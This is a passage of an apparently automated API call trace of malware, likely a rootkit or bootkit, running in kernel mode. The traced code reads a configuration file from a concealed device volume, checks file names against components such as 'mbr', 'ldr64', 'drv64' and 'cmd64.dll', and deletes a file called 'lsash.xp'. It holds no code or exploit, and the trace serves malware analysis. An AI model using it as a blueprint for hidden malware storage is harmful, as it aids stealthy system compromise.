VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.443] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.443] IdePortDispatch () returned 0x103 [0128.443] KeWaitForMutexObject () returned 0x0 [0128.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.443] KeLeaveCriticalRegion () [0128.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.444] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.444] KeEnterCriticalRegion () [0128.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.444] KeLeaveCriticalRegion () [0128.444] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.444] KeEnterCriticalRegion () [0128.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.444] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.444] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.444] KeLeaveCriticalRegion () [0128.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.444] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.444] KeEnterCriticalRegion () [0128.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.444] ExFreePoolWithTag (P=0xfffffa8003bff910, Tag=0x0) [0128.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.444] KeLeaveCriticalRegion () [0128.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.444] ReleaseMutex (hMutex=0xf0) returned 1 [0128.444] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.445] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.445] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.445] KeEnterCriticalRegion () [0128.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.445] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.445] IdePortDispatch () returned 0x103 [0128.446] KeWaitForMutexObject () returned 0x0 [0128.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.446] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.446] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.446] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.446] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.446] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff560 [0128.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.446] KeLeaveCriticalRegion () [0128.446] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.446] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.446] KeEnterCriticalRegion () [0128.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.446] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.446] KeLeaveCriticalRegion () [0128.446] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.446] KeEnterCriticalRegion () [0128.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.446] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.446] IdePortDispatch () returned 0x103 [0128.446] KeWaitForMutexObject () returned 0x0 [0128.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.447] KeLeaveCriticalRegion () [0128.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.447] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.447] KeEnterCriticalRegion () [0128.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.447] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c5000 [0128.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.447] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.447] IdePortDispatch () returned 0x103 [0128.447] KeWaitForMutexObject () returned 0x0 [0128.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.447] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.447] IdePortDispatch () returned 0x103 [0128.447] KeWaitForMutexObject () returned 0x0 [0128.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.447] KeLeaveCriticalRegion () [0128.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.448] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.448] KeEnterCriticalRegion () [0128.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.448] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.448] KeLeaveCriticalRegion () [0128.448] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.448] KeEnterCriticalRegion () [0128.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.448] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.448] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff620, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.448] KeLeaveCriticalRegion () [0128.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.448] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.448] KeEnterCriticalRegion () [0128.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.448] ExFreePoolWithTag (P=0xfffffa8003bff560, Tag=0x0) [0128.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.448] KeLeaveCriticalRegion () [0128.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.448] ReleaseMutex (hMutex=0xf0) returned 1 [0128.448] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.448] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.448] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.448] KeEnterCriticalRegion () [0128.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.449] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.449] IdePortDispatch () returned 0x103 [0128.449] KeWaitForMutexObject () returned 0x0 [0128.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.449] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.449] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.449] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.449] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.449] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adca70 [0128.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.449] KeLeaveCriticalRegion () [0128.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.449] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.449] KeEnterCriticalRegion () [0128.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.449] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.449] KeLeaveCriticalRegion () [0128.449] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.449] KeEnterCriticalRegion () [0128.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.449] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.449] IdePortDispatch () returned 0x103 [0128.449] KeWaitForMutexObject () returned 0x0 [0128.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.450] KeLeaveCriticalRegion () [0128.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.450] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.450] KeEnterCriticalRegion () [0128.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c6000 [0128.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.450] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.450] IdePortDispatch () returned 0x103 [0128.450] KeWaitForMutexObject () returned 0x0 [0128.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.454] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.454] IdePortDispatch () returned 0x103 [0128.454] KeWaitForMutexObject () returned 0x0 [0128.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.455] KeLeaveCriticalRegion () [0128.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.455] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.455] KeEnterCriticalRegion () [0128.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.455] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.455] KeLeaveCriticalRegion () [0128.455] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.455] KeEnterCriticalRegion () [0128.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.455] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.455] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.455] KeLeaveCriticalRegion () [0128.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.456] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.456] KeEnterCriticalRegion () [0128.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.456] ExFreePoolWithTag (P=0xfffffa8002adca70, Tag=0x0) [0128.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.456] KeLeaveCriticalRegion () [0128.456] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.456] ReleaseMutex (hMutex=0xf0) returned 1 [0128.456] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.456] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.456] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.456] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.456] KeEnterCriticalRegion () [0128.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.456] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.456] IdePortDispatch () returned 0x103 [0128.456] KeWaitForMutexObject () returned 0x0 [0128.456] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.456] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.456] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.456] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.456] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.456] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.456] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.456] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.456] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.457] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.457] KeLeaveCriticalRegion () [0128.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.457] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.457] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.457] KeEnterCriticalRegion () [0128.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.457] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.457] IdePortDispatch () returned 0x103 [0128.457] KeWaitForMutexObject () returned 0x0 [0128.457] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.457] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.457] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.457] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.457] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.457] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.457] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.457] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.457] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.457] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.457] KeLeaveCriticalRegion () [0128.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.457] ReleaseMutex (hMutex=0x100) returned 1 [0128.458] Sleep (dwMilliseconds=0x2bf20) [0128.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fc472f0, dwHighDateTime=0x1d24fa4)) [0128.464] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.464] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.464] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.464] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.464] KeEnterCriticalRegion () [0128.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.464] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.464] IdePortDispatch () returned 0x103 [0128.464] KeWaitForMutexObject () returned 0x0 [0128.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.464] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.464] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.464] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.464] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.464] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac4a00 [0128.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.464] KeLeaveCriticalRegion () [0128.464] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.464] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, 